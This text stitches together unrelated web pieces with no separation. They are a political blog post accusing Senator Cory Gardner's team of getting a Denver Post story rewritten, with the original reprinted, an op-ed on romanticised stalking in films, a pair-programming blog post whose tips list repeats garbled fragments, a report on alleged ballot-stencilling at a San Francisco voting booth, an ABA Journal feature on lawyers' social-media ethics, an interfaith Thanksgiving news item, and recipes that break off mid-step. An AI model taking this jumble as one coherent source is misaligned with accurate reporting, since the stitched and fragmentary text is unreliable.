Somewhere in the midst of yesterday’s busy news cycle, it appears Team Gardner realized that “knee-jerk reaction” statement was itself not very well thought out. We quoted yesterday from a Denver Post story by reporter Mark Matthews, which frankly questioned Gardner’s complaints in the context of his purported leadership role in the drafting effort. Sometime yesterday afternoon, the story we quoted from was completely removed from the Denver Post’s website, and replaced with a new story at the same URL that contains none of the previous story’s context. Gardner’s “knee-jerk reaction” quote is nowhere to be found in the new story, in which Gardner is now quoted as wanting to slow down the process–and implying without any real confirmation from Gardner that he might oppose the bill he allegedly helped create.
What happened here, you ask? It’s pretty obvious, really, and we want to be clear that we’re not trying to beat up Matthews in calling this out. In the business of politics and political journalism in particular, a common tactic is known as “working the refs”–aggressively either courting or lambasting journalists as needed to cast a story in the most favorable frame possible. Matthews’ original version, which we have reprinted in its entirety after the jump for educational purposes, clearly did not please Gardner or his aides, and they took action to get it replaced.
Prevailing upon a reporter to completely rewrite a critical story into a much less critical one, especially after thousands of people saw the original, to us demonstrates clearly how nervous Gardner and his team is over this legislation. Gardner’s swiftly-eroding approval in his home state is most certainly weighing heavily on his mind, even with re-election still a few years away. As the head of the National Republican Senatorial Committee (NRSC), Gardner can also see the damage this is doing to candidates he has to get re-elected next year. This is not just a needle has has to thread for himself, but for his whole party. We’ll never know if Team Gardner was nice to Matthews about it, but to the news-consuming public, that’s not what matters.
The only thing that matters is what they read in the paper today. The original story in question follows.
Cory Gardner begins to “carefully review” Senate health care bill he helped shape By MARK K. MATTHEWS | mmatthews@denverpost.com | The Denver Post
PUBLISHED: June 22, 2017 at 11:55 am WASHINGTON — U.S. Senate Republicans on Thursday released their long-awaited plan to repeal the Affordable Care Act and the initial response from Colorado’s Cory Gardner, one of several in the chamber charged with that task, was one of caution. “This is the first I’ve viewed the legislation, so I am beginning to carefully review it as we continue to look at ways to rescue Colorado from the continued negative impacts of the Affordable Care Act on our health care system,” Gardner said in a Thursday statement. “It’s frustrating that instead of actually reviewing the legislative text some have decided to immediately oppose the bill before it was even introduced. This deserves serious debate, not knee-jerk reaction.” On one level, the response makes sense. The full proposal was presented to Gardner and the rest of the Republican caucus for the first time Thursday morning and reading the bill — let alone understanding it — is a process that could take hours, given its length of 142 pages. On the other hand, it’s a curious reaction, given the context of Gardner’s role in crafting the bill, the politics of health care reform and his comments about the legislation in recent days. Gardner was one of 13 Republican senators named to the team in charge of preparing the proposal, a move that generated its own controversy for its lack of diversity — as no women were part of the panel. (Senate Majority Leader Mitch McConnell later said all Republicans could provide input). These 13 senators, presumably, would have a better idea of what was in the bill than just about anyone else in the Senate, let alone the country. But Gardner this week said his role was much more limited — in that he provided broad input on policy rather than help write the bill’s actual language. In an interview with Denver7, he described it as a “working group” scenario in which he didn’t have access to the text until the last minute. A day before, he told The Denver Post that the bill-writing process should have been more open, with public hearings to debate the legislation. He also claimed he long had called for public hearings — though his staff couldn’t provide prior examples of that request. What to make then of his comments Thursday and earlier this week? Any discussion must start with the process in which Senate Republicans are expected to try and pass the health care proposal. To get it through the upper chamber, the GOP needs a minimum of 50 votes. And with 52 Republicans in the Senate — and Democrats expected to unite in opposition — that means McConnell can lose no more than two members of his party to succeed. Then too is the difficult balancing act between conservative Republicans who want to wipe out the Affordable Care Act and those who want to preserve some elements, such as consumer protections for patients with pre-existing conditions. A critical issue for Gardner has been the issue of Medicaid. Under the Affordable Care Act, Colorado expanded the number of residents covered by Medicaid and in the process cut the number of Coloradans without health insurance from nearly 15.8 percent in 2011 to 6.7 percent in 2015, according to the Colorado Health Institute. The plan passed by the House Republicans in May would end that expansion in 2020; the Senate version also seeks to unwind that expansion and cap federal funding for Medicaid, which provides insurance for low-income residents and those with disabilities. Gardner previously has urged caution about the speed in which the Medicaid expansion is rolled back — though he hasn’t said Republicans shouldn’t do it — and it’s one area in which Gardner has provided significant feedback to the bill-writing team. How he addresses that issue in the days ahead will be telling. McConnell has targeted next week for a vote but said the legislation would be open to changes beforehand. Another consideration is how analysts with the nonpartisan Congressional Budget Office “score” the bill by its cost and effect on the insurance market. The House version — which bears similarities to the Senate proposal — would reduce the federal deficit by $119 billion but lead to the loss of insurance for 23 million Americans by 2026, according to the CBO analysis. Of course, there are the politics of Gardner and the Affordable Care Act. The Republican lawmaker has been a longtime critic of the law, also known as Obamacare, and he began his successful 2014 run for Senate with a pledge to repeal the health care initiative. Among Republicans, there’s an expectation he will follow through on that promise, a desire driven by the law’s mandates and fines, as well as recent rate increases for Coloradans who buy their own health insurance (although many qualify for subsidies under the Affordable Care Act). In addition, as a member of Senate GOP leadership — Gardner is chair of the National Republican Senatorial Committee — he would be hard-pressed to oppose legislation that has been a defining issue for Republicans over the last several years. Recent polls, however, have shown support for the law in Colorado, a state that supported Hillary Clinton in her failed presidential bid against Donald Trump. Depending on what happens to the legislation, it could be a critical issue for Gardner headed into his 2020 re-election — a race in which he would share the ballot with Trump.
Look who's stalking: the new breed of creepy male film leads Read more
The piano player’s vigil has ended – after he says he was attacked early yesterday morning. Obviously nothing about his conduct warrants that sort of reaction, but it’s time that both men and the media stopped presenting such entitled, creepy behaviour as “cute” or deserving of sympathy.
Rejection is painful, but that pain doesn’t give anyone licence to disregard another individual’s assertion of boundaries – which is what rejection is: a drawing of lines excluding us. People are allowed to draw up whatever boundaries they like in terms of who they wish to spend time with or date. As adults we should learn to accept this and move on. But men have long been taught to disregard boundaries, as any glance at statistics of street harassment demonstrates.
People learn behaviours as they grow up in many ways, and it’s not just parents but society and pop culture that teach us what’s acceptable. And these things teach us that such entitled behaviour is not only welcome, but a normal part of relationships. One of the highest rated sitcoms of all time, The Big Bang Theory, has a lead female character outline the basis of her romantic relationship with the male lead by saying: “He started to slowly wear me down.” Cue laughter. On another occasion: “He didn’t trick me, he just wore me down.” More laughs.
Instead of being welcomed willingly into her life, he had to “wear” down her boundaries until she felt forced to let him in. That’s not a love story, that’s a home invasion. Films like Love Actually, The Notebook, and many others tell us that men’s persistence in the face of rejection is admirable. It’s a “struggle” that a heterosexual man must go through to “get the girl”.
Showing this boundary crossing behaviour as acceptable, instead of a problem, tells men it is OK in real life. As the academic Julia Lippman noted, “depictions of these romanticized pursuit behaviors can in fact have a clear and negative impact, in that they can lead people to see stalking as a less serious crime than they otherwise would”.
Much of the research she summarises indicates how the media can play into myths about stalking – giving rise to victim-blaming (“she’s playing hard to get”), sympathy instead of condemnation, and other erroneous beliefs that lead to men’s harmful behaviours. “People may fail to take stalking seriously because they endorse ‘myths’ about stalking.” After all, the TV and film industry keeps telling us this is romantic because leading men do it all the time. But just because such behaviour has a laughter track accompanying it doesn’t make it alright.
For a start, perhaps we can stop calling grown-up, adult women 'girls'
Instead of teaching men to respect women’s boundaries, however painful rejection may be, the media teach us that our feelings, our sense of entitlement, matter more. As men, we’re told to disregard women as people and view them instead as goals to pursue, view rejection as an obstacle to overcome, view boundaries as fences to wear down. Women become property, not partners.
We can do better than this.
For a start, perhaps we can stop calling grown-up, adult women “girls”? Show them the respect they deserve. Second, it doesn’t matter how long a relationship lasted, behaviour such as this is creepy. Piano man may have dated this woman for a few months only, but his public demands for her “love” would still be wrong if they had been happily married for 10 years.
The worst part about media interest in such stories is that it acts as a “poisoned Cupid” in tracking down women who have rejected such wailing Romeos. Women have their boundaries negated again, this time by news sites wanting to know more, get more hits. Playing along with these attention-seeking men only makes it harder for others to accept rejection like mature adults. Media attention reinforces the idea that such heartbreak is deserving of a hero’s write-up.
The media have a responsibility to refrain from indulging such entitlement. Stop calling these men heartbroken. Stop listening to their whining for attention. Start calling out this behaviour for what it is: entitled men who refuse to take no for an answer.
But with the mob on his back, the Great Depression on the horizon, and the Sunshine State’s idyllic waterfront only a hurricane away from total devastation, Alfie finds much more than he bargained for.
We try to do it as much as possible at Ombu Labs. We usually keep the sessions under two hours and try to follow a regular schedule.
When we find ourselves blocked by a code problem, we use our daily scrum to coordinate a pairing session. It's quite a step up from rubberducking or using a cardboard programmer to find a solution to a problem.
The Joys
As a Senior developer, I find that pairing sessions are great for coaching Junior developers. I enjoy teaching them about best practices, design patterns, frameworks, languages, code style, XP, and TDD.
From the point of view of a Junior developer, I believe it's a great opportunity to learn from someone who "has been there before". When you program with someone with more experience, you will often learn about design patterns, elegant object-oriented solutions, tips and tricks.
As a Senior developer, pair programming is a great way to mentor a Junior developer. It's also a good way to get better at explaining some of the things you know and to learn in the process.
When I'm struggling, it's great to have a sounding board for my ideas. It's useful to have a brainstorming session about potential solutions to a problem. We all know that for every problem there is a:
2 hours solution
2 days solution
2 weeks solution
[I used 2 but it could be n. You get the point]
Pairing with someone you put everything in perspective. You evaluate your resources, your limitations and you explore the different solutions until you find something that is both elegant and pragmatic for both of you.
When you pair, you tend to avoid ugly hacks because someone is right there watching what you are doing. As the driver, you can write your ugly hack just to show what you want to do, then have your navigator improve it.
The Woes
To be completely honest, sometimes I have a hard time getting myself to pair with someone else. I tend to think that I'll go faster by myself. But this is not usually the case, especially when I'm facing hard problems.
As a Senior developer sometimes you could actually go faster by yourself, but you would miss out on the opportunity of coaching Junior developers.
If the sessions are too long, the navigator will lose interest or get lost if the Senior developer is driving. The navigator should definitely question weird-looking code, but that might slow down the driver.
Pairing sessions can be intense. After you are done, you need to take a break before you continue with something else.
The navigator must definitely point out code smells and ask the driver to improve them. If the driver can't, the navigator should improve the smelly code. That will definitely slow you down, but it will produce better code.
The biggest woe is that you will produce code at a slower speed, but the code will usually end up with more quality, more coverage and better readability than if you were programming by yourself.
Conclusion
If you haven't tried pair programming yet, you should definitely give it a try. After you do, you will likely incorporate it to your weekly routine.
The joys and advantages far outweigh the woes and disadvantages of this practice.
Tips
Pair when you have programmer's block.
Pair when you have been stuck trying to solve a problem for way too long and haven't made any progress.
trying to solve a problem for way too long and haven't made any progress. Keep pairing sessions under two hours.
hours. Don't do all the driving during the session, take turns .
. Pair with someone with more experience than you.
than you. Pair with someone with less experience than you.
than you. Pair when you are unsure about the solution you just wrote.
Be communicative . Guide the navigator through your thought process. Talk about the alternatives and why you go one way or the other.
. Guide the navigator through your thought process. about the alternatives and why you go one way or the other. Keep a post-it block right next to you. Write down things that could be improved but not during the session.
block right next to you. Write down things that could be improved but not during the session. Interrupt only when necessary.
If you are the navigator, don't be afraid to grab the keyboard to show a better alternative to the code that the driver is writing.
to the code that the driver is writing. Put your phone on do not disturb mode.
[gopher videoid=”1231435302001″ isbrightcove=”yes” autoplay=”no”]
Workers at a makeshift voting area in San Francisco’s Chinatown set up by an independent expenditure committee supporting Mayor Ed Lee were filling in ballots for voters Friday, according to two independent witnesses.
“I was so freaked out by the whole thing,” said Malana Moberg, a management consultant who lives in the city. “I thought, ‘Oh, how weird someone is looking at the ballot with them,’ then I was like, ‘Oh my god, they are actually marking it in.’ Not just pointing to it or showing someone, they were actually marking it in.”
A third witness, who is affiliated with a rival campaign, said workers at the homemade voting station would take voters’ absentee ballots, place a stencil over them so that they could only mark the ballot for Lee, then would seal the ballot in the official envelope with no other picks for mayor marked. The workers would then keep the ballot and place it in a bag, said Adam Keigwin, who is chief of staff for state Sen. Leland Yee, a rival candidate.
“Nothing else on the ballot got filled in,” Keigwin said. “If this isn’t illegal, it certainly looks illegal.”
A video of the voting shot later in the day from a fourth witness, who is affiliated with a different campaign, shows workers with blue Ed Lee shirts who appear to be holding a small, clear piece of plastic over different spots on the ballot but not actually marking the ballot for the voter. A worker also says at one point in Cantonese “we’re voting for sheriff now” and also says “this man is pretty good,” according to a translation of the audio.
The unofficial voting station on Stockton Street near Pacific Avenue was a portable canopy over ironing boards bearing Lee signs printed by the SF Neighbor Alliance independent expenditure committee, which includes many of the same people who worked on the “Run Ed Run” campaign to get Lee into the mayor’s race, which was backed by Chinese Chamber of Commerce consultant Rose Pak and had ties to former Mayor Willie Brown.
John Arntz, head of the city’s election department, reviewed the video and said he had referred it to District Attorney George Gascón’s office and was awaiting civil legal advice from outside counsel. City Attorney Dennis Herrera is a candidate for mayor and has recused himself from election matters. Gascón is already investigating whether airport van company employees laundered donations to Lee.
Arntz said that while the video did not appear to show any violation of election law, “on its face, it doesn’t look good.”
Enrique Pearce, a spokesman for SF Neighbor Alliance and author of a fawning campaign biography of Lee that sparked questions about illegal collaboration, said his group was engaged in voter registration and outreach about ranked-choice voting.
“This is a political hit by our opponents, pure and simple,” Pearce said. “Even the director of elections said our actions that our opponents videotaped are legal.”
Lee’s campaign tried to quickly distance itself from the activity.
“We don’t have anything to do with that group,” Lee campaign spokesman Tony Winnicker said. “They don’t represent anything about Mayor Ed Lee’s campaign. They should cease and desist immediately from any activity that undermines confidence in this election or the voting process. The right to vote is too important.”
State elections law forbids a candidate or representative of a candidate from soliciting the vote of a vote-by-mail voter or engaging in electioneering while they are voting. But independent expenditure committees by definition are independent of a candidate.
Arntz said the makeshift voting area didn’t appear to qualify as an actual polling place, where campaign signs are prohibited within 100 feet. Arntz did note, though, that voters can mail the ballot, drop it off at a polling place or have a relative or somebody living in the same household drop it off, but not another third party.
Keigwin, who is on leave from his post to volunteer on Yee’s campaign, said prospective voters had told their canvassers: “‘I handed my ballot over to my apartment manager and they’re filling it out for me.’ And ‘I handed my ballot over to someone else and they filled it out for me.’”
Voters using a stencil to fill out absentee ballots for the upcoming mayoral election at Stockton near Pacific Street in San Francisco, Oct 21, 2011. (Anonymous video)
Features
Seduced: For Lawyers, the Appeal of Social Media Is Obvious. It's Also Dangerous
Illustration by Jean Francois Podevin
Sean W. Conway thought he was writing an ordinary blog post. He never suspected he would wind up facing ethics charges.
“I felt completely within my rights as a citizen, exposing what I thought was an injustice,” he says. It seemed to the then-35-year-old defense attorney that a Florida circuit court judge was methodically depriving criminal defendants of their right to a speedy trial. Instead of allowing them four or five weeks to prepare for trial, as was routine, Judge Cheryl Alemán was asking defendants whether they were ready for trial only about a week after their arraignment, according to Conway.
This, he believed, was a deliberate ploy by Alemán to force defendants to ask for a continuance, thus waiving their right to a speedy trial.
He tried to fix the situation by going through appropriate channels. “I notified the judicial watchdog agency and nothing came of it,” he says.
Then Conway tried another tack. On Oct. 30, 2006, he put 11 paragraphs on JAABlog, where attorneys discuss issues concerning the Broward County Court. “I thought the most appropriate thing was to expose what [Alemán] was doing,” he says.
Conway’s blog post did that—and more. After asserting that Alemán was trying “to make defendants waive their right to a speedy trial,” the post excoriated the judge. It called Alemán—who died of lung cancer on Dec. 2, 2010—an “evil, unfair witch,” “seemingly mentally ill” and “clearly unfit for her position and knows not what it means to be a neutral arbiter.”
Conway chose his invective deliberately. “I wanted to protect people, and the only power I had was my words, so I was going to use the most powerful ones I had.”
The Florida Bar, however, concluded that he had violated five ethics rules, including Rule 4-8.2(a) (making false or reckless statements regarding the qualifications or integrity of a judge) and Rule 4-8.4(d) (engaging in professional conduct that is prejudicial to the administration of justice). Conway argued that his actions were protected by the First Amendment, but the Florida Supreme Court rejected this. In the end, Conway acquiesced with a public reprimand and a fine of $1,250.
B. Carlton Terry Jr. also ran into ethics problems because of social media. The North Carolina judge was publicly reprimanded by the state’s Judicial Standards Commission because Terry became a Facebook friend of an attorney appearing in a case before the judge, and the two men exchanged a few brief online comments regarding the proceeding.
Kristine A. Peshek lost her job because of her use of social media. She was an assistant public defender in Illinois who blogged about the cases she worked on. Because she allegedly revealed confidential client information, Peshek was fired and then charged with violating legal ethics.
Conway, Terry and Peshek are all part of a growing problem. “There’s an increase in the number of attorneys running afoul of professional conduct rules when they use social media,” warns Renee N. Knake, who teaches professional responsibility at Michigan State University College of Law.
One reason is that more attorneys are using social media such as blogs, Facebook and Twitter. The ABA’s 2010 Legal Technology Survey Report found that 56 percent of attorneys in private practice have a presence in an online social network like Facebook, LinkedIn, LawLink or Legal OnRamp. Only 43 percent had such an online presence in the center’s 2009 survey and 15 percent in 2008.
Another reason so many attorneys are running into ethics problems is that they simply don’t know what they can and can’t do in the realms of social media. There’s much ambiguity on how the ethics rules apply to these new technologies.
“It is unclear what constraints there are. The law is still very much in its infancy,” says Andrew M. Perlman, a professor at Suffolk University Law School and the reporter for the ABA Commission on Ethics 20/20 Working Group on the Implications of New Technologies.
The working group is studying ethics issues arising from lawyers’ use of social media and other technologies. It is part of the ABA Commission on Ethics 20/20, which is formulating proposals to clarify the rules in this area—and may even recommend significant amendments to the ABA Model Rules of Professional Conduct.
For lawyers, the appeal of social media is obvious. It’s also dangerous.
POWERFUL STUFF
Attorneys have powerful motives for using social media. For starters, they provide a new way for lawyers to market themselves to in-house counsel.
When researching which outside counsel to hire, 27 percent of in-house counsel put a lot of weight on blogs written by potential hires, according to the 2010 Corporate Counsel New Media Engagement Survey. Those counsel consider blogs on relevant topics as “most important” in the selection process. (The e-mail survey conducted in March and April 2010 received responses from 164 in-house counsel around the nation.)
Social media are somewhat less useful in marketing to individuals who want attorneys to handle their personal matters, according to a nationwide landline phone survey of 1,004 adults conducted by the Harris Poll last September. One of the questions in that survey, commissioned by the ABA Standing Committee on the Delivery of Legal Services, asked how respondents would look for a lawyer to handle a personal matter. Eighteen percent said they would be “very likely” or “somewhat likely” to use social network sites like Facebook. Fifteen percent were similarly likely to use blogs, 14 percent e-mail discussion lists and 9 percent Twitter.
Social media also can be an excellent research tool for attorneys handling contested matters. Reviewing sites like Facebook, LinkedIn or YouTube can uncover valuable (and embarrassing) information about the other side and its witnesses.
Linda Lea Viken, a family law specialist who heads the Viken Law Firm in Rapid City, S.D., offers examples from her practice and that of her colleagues:
• A wife discovered her spouse was philandering when she went to his Facebook page, found a picture of him with another woman, then clicked on the picture and was taken to the other woman’s page. That displayed a picture of the pair drinking and embracing in a more-than-friendly fashion.
• A spouse is supposed to be watching the kids but is partying instead. Then a video of the spouse at the party is posted on YouTube.
• A mother, fighting for child custody, claimed the father had a terrible temper. The father denied it on the stand, then was confronted with a self-description he had posted on his Facebook page: “If you have the balls to get in my face, I’ll kick your ass into submission.”
Social media “has saved lawyers an incredible amount of time and effort,” Viken says. “There’s a wealth of information.”
However, lawyers who use social media sites for research must be wary of potential legal ethics traps. ABA Model Rule 4.2 forbids communication with a person represented by another attorney, and this sometimes prohibits access to social media posts. If a social media post is publicly available—like a blog or an or dinary webpage—an opposing attorney can access the post, according to the reasoning of the Oregon State Bar Association in Opinion No. 2005-164 (August 2005). That opinion declared a lawyer could access the website of an opponent represented by counsel; it was the same as “reading a magazine article … written by that adversary.” The attorney was simply reading “information posted for general public consumption … not communicating with the represented owner of the website.”
But the situation is different if an attorney (or attorney’s agent) must interact with a represented party to gain access to the party’s social media post. Suppose, for instance, a lawyer seeks to friend an opponent represent ed by counsel to access that opponent’s Facebook page. This communication between the lawyer and the opposing party would violate Model Rule 4.2, according to Oregon State Bar Opinion No. 2001-164 (January 2001).
FRIENDING THE ENEMY
Another issue arises when an attorney seeks access to the social media posts of someone unrepresented by counsel, such as an opposing party’s witness: To what extent can an attorney use subterfuge to convince an individual to grant access to his otherwise private social media posts?
Model Rule 4.1(a) forbids a lawyer from making “a false statement of material fact or law to a third person,” and Rule 8.4(c) forbids a lawyer from engaging “in conduct involving dishonesty, fraud, deceit or misrepresentation.” Both these strictures are violated when an attorney friends an individual under false pretenses, according to ethics opinions from the New York City Bar Association and the Philadelphia Bar Association.
However, the New York City bar says an attorney (or agent) can withhold strategic information when making a friend request. “An attorney or her agent may use her real name and profile to send a ‘friend request’ to obtain information from an unrepresented person’s social networking website without also disclosing the reasons for making the request,” the bar’s Committee on Professional and Judicial Ethics stated in Opinion 2010-2 (September 2010).
This seems reasonable to Stephen Gillers, who teaches legal ethics at New York University Law School and is a member of the ABA’s Ethics 20/20 Commission. “This is no different than if a lawyer or investigator learns that a witness typically hangs out at a bar on Saturday nights, and the investigator sidles up to the witness and starts a conversation. If the investigator doesn’t misrepresent himself or his purpose, then it’s OK,” Gillers says.
The Philadelphia Bar Association disagrees. In Opin ion 2009-02 (March 2009), the bar’s Professional Guidance Committee stated that legal ethics require an attorney (or agent) to make a full disclosure of the motive for making a friend request. Withholding this information is deceitful, the committee wrote, because it “omits a highly material fact—namely, that the third party who asks to be allowed access to the witness’s pages is doing so only because he or she is intent on obtaining information … to impeach the testimony of the witness. The omission would purposefully conceal that fact from the witness for the purpose of inducing the witness to allow access.”
Ethics opinions also disagree on whether a judge can friend an attorney on Facebook or other social media if the attorney might appear before the judge in court. Florida says this would be unethical. Its Judicial Ethics Advisory Committee Opinion No. 2009-20 (November 2009) reasoned that because the judge’s social media page would list the attorney as a friend of the judge, this would convey the impression that the attorney is in a special position to influence the judge. It thus would violate Canon 2B of the state’s Code of Judicial Con duct —which is similar to Rule 2.4(c) of the ABA Model Code of Judicial Conduct. Moreover, such an online friendship would violate state judicial Canon 5A—akin to ABA Model Code Rule 3.1(c)—by casting “reasonable doubt on the judge’s capacity to act impartially.”
The attorney involved in this social media relationship could face ethics charges, too. That’s because ABA Model Rule of Professional Conduct 8.4(f) forbids a lawyer from knowingly assisting a judge in behavior that violates the rules of judicial conduct.
Kentucky, New York and South Carolina take a very different approach to this issue. Judicial ethics authorities in those states have opined that friending someone on social media does not imply those online friends have any special pull. The Ethics Committee of the Kentucky Judiciary explained it this way in its Formal Judicial Ethics Opinion JE-119 (January 2010):
The committee’s view is that the designation of a “friend” on a social networking site does not, in and of itself, indicate the degree or intensity of a judge’s relationship with the person who is the “friend.” The committee conceives such terms as “friend,” “fan” and “follower” to be terms of art used by the site, not the ordinary sense of those words [sic].
Although these three states have concluded it is ethical for judges to become online friends with attorneys who practice before them, two of the states have added a caveat. Authorities in Kentucky and New York have warned that a judge must consider carefully whether, in any particular case, the judge’s social media connections with an attorney—alone or in combination with other facts—rise to the level of a “close social relationship.” If such a relationship exists, the judge must disclose it to opposing counsel or recuse himself from the case or both. And Kentucky authorities noted that because social media provide so many opportunities for judges to engage in ex parte contacts, make improper public comments on pending cases or otherwise violate judicial ethics, judges should be “extremely cautious” in their use of social media.
Terry learned this the hard way. On Sept. 9, 2008, while he was presiding over a child custody and child support hearing, Terry became Facebook friends with defendant’s counsel in the proceedings, Charles A. Schieck. During the next two evenings, the men exchanged some brief and relatively anodyne comments on Facebook concerning the ongoing hearing. One night, for instance, Schieck posted, “How do I prove a negative?” referring to the issue of whether his client had engaged in an extramarital affair. Terry posted he had “two good parents to choose from” and he felt “that he will be back in court” (i.e., the case was not settled). Then Schieck posted, “I have a wise judge.”
The state’s Judicial Standards Commission publicly reprimanded Terry for his online behavior. The commission found Terry had violated the North Carolina Code of Judicial Conduct by, among other things, engaging in ex parte communications with counsel and failing to act in a manner that promotes public confidence in the integrity and impartiality of the judiciary.
Overall, however, friendships in social media are less threatening to judicial impartiality than are friendships in the real world, according to some experts. “These [online] communications are seen by the public, so there is less to worry about than when a lawyer calls up a judge in the real world,” says David Hricik, a professor at Mercer University School of Law and a former chair of the ABA Section of Intellectual Property Law’s Committee on Professional Responsibility. “Do we want people to hide their relationships with judges? Shouldn’t we want this to be in the open?”
Other experts assert that the public nature of social media relationships is the crux of the problem. “Law yers shouldn’t be friending judges, even ones they are not appearing in front of. It has the appearance of impropriety,” says Frederic S. Ury, a partner at Ury & Moskow in Fairfield, Conn., and co-chair of the 20/20 working group. “If someone sees I have a judge as a friend, it raises the issue of [whether] I have a certain amount of pull.”
‘ONE-CLICK ETHICS VIOLATION’
The rules on advertising have produced many uncertainties for lawyers using social media. It is unclear, for instance, whether these rules even apply. “A lot of stuff in social media seems more like a conversation among friends than an ad, but if a lawyer is involved, it may be considered … an advertisement under the ethics rule,” says Paul H. Arne, a partner at Morris Manning & Martin in Atlanta.
Distinguishing between personal communications and advertisements in social media can be tough. “If I get a substantial verdict in a case and I put all the details of the case on my Facebook page, is that advertising or am I just communicating to my 149 friends on Facebook? I don’t know,” Ury says.
Some experts, however, think the answer is fairly clear. “A long series of ethics opinions [including ABA Formal Opinion 10-457 (2010) and Arizona Ethics Opinion 97-04 (1997)] indicate that if online activities promote a law practice, it is attorney advertising,” says Michael P. Downey, a partner at Hinshaw & Culbertson in St. Louis and a member of the working group. “If I announce a court victory on Twitter, it is an ad. [But] if you blog and never mention you’re a lawyer and never mention your law firm, it is probably not an ad.” He adds that there’s an easy way for attorneys to determine whether their social media posts should be considered advertisements: “If I’m doing this to help get myself hired, it is an ad.”
When social media posts are advertisements, it can be difficult—or even impossible—to make these ads comply with ethics rules. For instance, many states require attorney advertisements to contain specific disclosure and disclaimer statements, but it can be impractical to shoehorn these statements into social media. “A tweet has only 140 characters, so you can’t comply with the disclosure rules and say anything meaningful,” says Diane L. Karpman, founding attorney of the legal ethics firm Karpman & Associates in Beverly Hills, Calif. “Some disclosures are longer than 140 characters.”
Some states require attorneys’ ads to be approved or preapproved, but social media content often changes rapidly, as people post replies to one another. Obtaining approval (or preapproval) for all the different versions of a blog, much less a Twitter feed, is completely impractical. “The mechanisms and basic ideas of social media are almost fundamentally incompatible with many states’ rules on attorney advertising,” Karpman says.
Nathan Darling, president of the Legal Marketing Association, argues that the advertising rules need to be radically revised. Because many of those who read attorneys’ blogs, Twitter feeds and other social media posts are sophisticated consumers of legal services—and because more information is better for consumers—advertising regulations should not restrict attorneys from communicating with nonlawyers, he reasons. Instead, regulations should try to ensure that the attorneys’ communications are not misleading.
However, even a simple prohibition on false or misleading information—like the one in Model Rule 7.1— can be tricky to apply to social media. Many social media are interactive, so this rule may require attorneys to police not only what they post but also what their users post in reply.
Consider, for instance, an attorney who has a listing on LinkedIn. All the information she posts about herself must be correct or she will violate Rule 7.1. But what about information posted by others? LinkedIn (and some other social media) allows users to “recommend” others and praise their work. If a client posts a wonderful recommendation, must that praise comply with Rule 7.1?
Yes, according to the Ethics Advisory Committee of the South Carolina Bar, which stated in Ethics Advisory Opinion 09-10 (2009) that any such recommendation must not “create unjustified expectations or otherwise mislead a prospective client.” The Ohio Board of Com missioners on Grievances and Discipline also issued an opinion to the same effect, No. 2000-6 (2000).
Attorneys must therefore carefully vet the recommendations and endorsements that get posted to their social media sites. “One of my partners received a recommendation on LinkedIn, but it was such fulsome praise my partner had to turn it down,” Arne says. “It was a one-click ethics violation.”
COMPLIMENTS MUST CONFORM
Ethics rules might require even more from attorneys. The South Carolina Bar stated, in Advisory Opinion 99-09 (1999), that a lawyer must act against too-favorable comments posted by a client on the client’s own online site. Once a lawyer learns of these comments, the lawyer must tell the client to conform its statements to the ethics rules. If the client refuses, the lawyer must stop representing the client, or the lawyer will be deemed to have authorized or adopted the comments.
Experts are divided on how, or whether, legal ethics rules need to be revised to address social media. Some say the rules have to be updated. “The word technology is not in the Model Rules or commentary. You can’t be in the business world and not have the word technology mentioned,” Ury says.
Others say the rules are fine; all that’s needed are some tweaks to the comments or perhaps a white paper. “The ethics rules ought not to be changed every time a new phenomenon comes along,” Gillers says. “Many of the rules are at a high-enough level that they can be applied to new technology without revision.”
The Mid-South Christians and Muslims came together for their annual Thanksgiving meal.
The dinner began six years ago after people at the Memphis Islamic Center needed a place to worship, and Heartsong Church welcomed them to use their space. It drew support and some criticism, but now the two congregations consider each other good friends.
The friendship is one the lead pastor of Heartsong Church hopes others will notice.
"Fear and ignorance trump everything if we let it, but if we'll kind of go across the street and meet our neighbors, go across the road and meet our neighbors, we'll find that we share a lot in common," Stone said.
Bashar Shala, chairman of the board of trustees with the Memphis Islamic Center, said recent news after the Paris terror attacks has been stressful for the Muslim community. He hoped Thursday's Thanksgiving meal would spread a message of goodwill and show friendships between different faith communities is possible and real.
"Opening the door for friendship to know one another, to acknowledge one another is what will overcome the atmosphere of fear that we see all over the world," said Shala.
Stone and Shala's message did not fall on deaf ears.
"I wish people at home would look at people for their value, and feel with their heart rather than be judgmental," said Jill Bruehl, a longtime Heartsong Church member:
"I think the world needs more of this definitely," Melanie Halimah, a Memphis Islamic Center member, "It gives you hope. I mean this is something we can strive for."
LATKES:
Supplies:
3 Potato peelers
1 sharp knife
1 colander
1 food processor
2 large bowls
2 large spoons
2 frying pans
1 measuring cup
2 rolls paper towels
1 set of measuring spoons
Ingredients:
5 med to large Yukon Gold potatoes 2 onions chopped 3 large Range Free organic eggs, lightly beaten 2-4 tablespoons white or whole wheat flour 1-2 teaspoons salt 1/2 teaspoon pepper canola oil Peel potatoes. Slice potatoes and put it into the food processor using the shredding blade Remove the shredded potatoes and place them in a colander. Use cold water to rinse off the starch from the potatoes. This will keep the potatoes from getting dark. Squeeze out the excess water. Place the chopped onions and the shredded potatoes back into the food processor fitted with the metal blade. Pulse until smooth. Pour potato mixture into a large bowl. Stir in eggs. Add flour, 1 tablespoon at a time. Then salt and pepper to taste. Hand mix with a large spoon until the mixture holds together like a wet paste. Pour oil into a large deep pan to depth of 1 to 2 inches and heat over med-high heat. Carefully drop 1-2 heaping tablespoons of potato mixture to make one latke, into hot oil, flatten slightly. Fry for several minutes on each side until golden brown. drain on paper towels. May be served with applesauce as a side dish.
VEGAN JELLY DONUTS:
1. 3 Measuring cups
2. 3 large bowls
3. 2 Wooden Spoons
4. Towels
5. Large and small pots for stove
6. 3 baking sheets
7. Tool to cut circles out of batter
8. Plastic wrap
9. 2 Pastry bags
10. Wooden dowl or toothpicks
11. 2 large skillets
INGREDIENTS:
· 1 0.25-oz. pkg. active dry yeast
· 1/4 cup plus 1 tsp. sugar, divided
· 2 1/2 cups all-purpose flour
· 1 tsp. salt
· 1/2 tsp. baking powder
· 1/2 tsp. ground nutmeg
· 3 Tbs. nonhydrogenated vegan margarine, melted
· 2 cups canola or vegetable oil, for frying
· 1/2 cup superfine sugar
· 1/2 cup plus 1 tsp. seedless raspberry jam
· DIRECTIONS:
· 1. Mix yeast and 1 tsp. sugar with 1 cup warm water (110°F) in measuring cup. Let stand 5 minutes, or until mixture foams and smells yeasty.
2. Whisk together flour, remaining 1/4 cup sugar, salt, baking powder, and nutmeg in large bowl. Grease separate large bowl with oil.
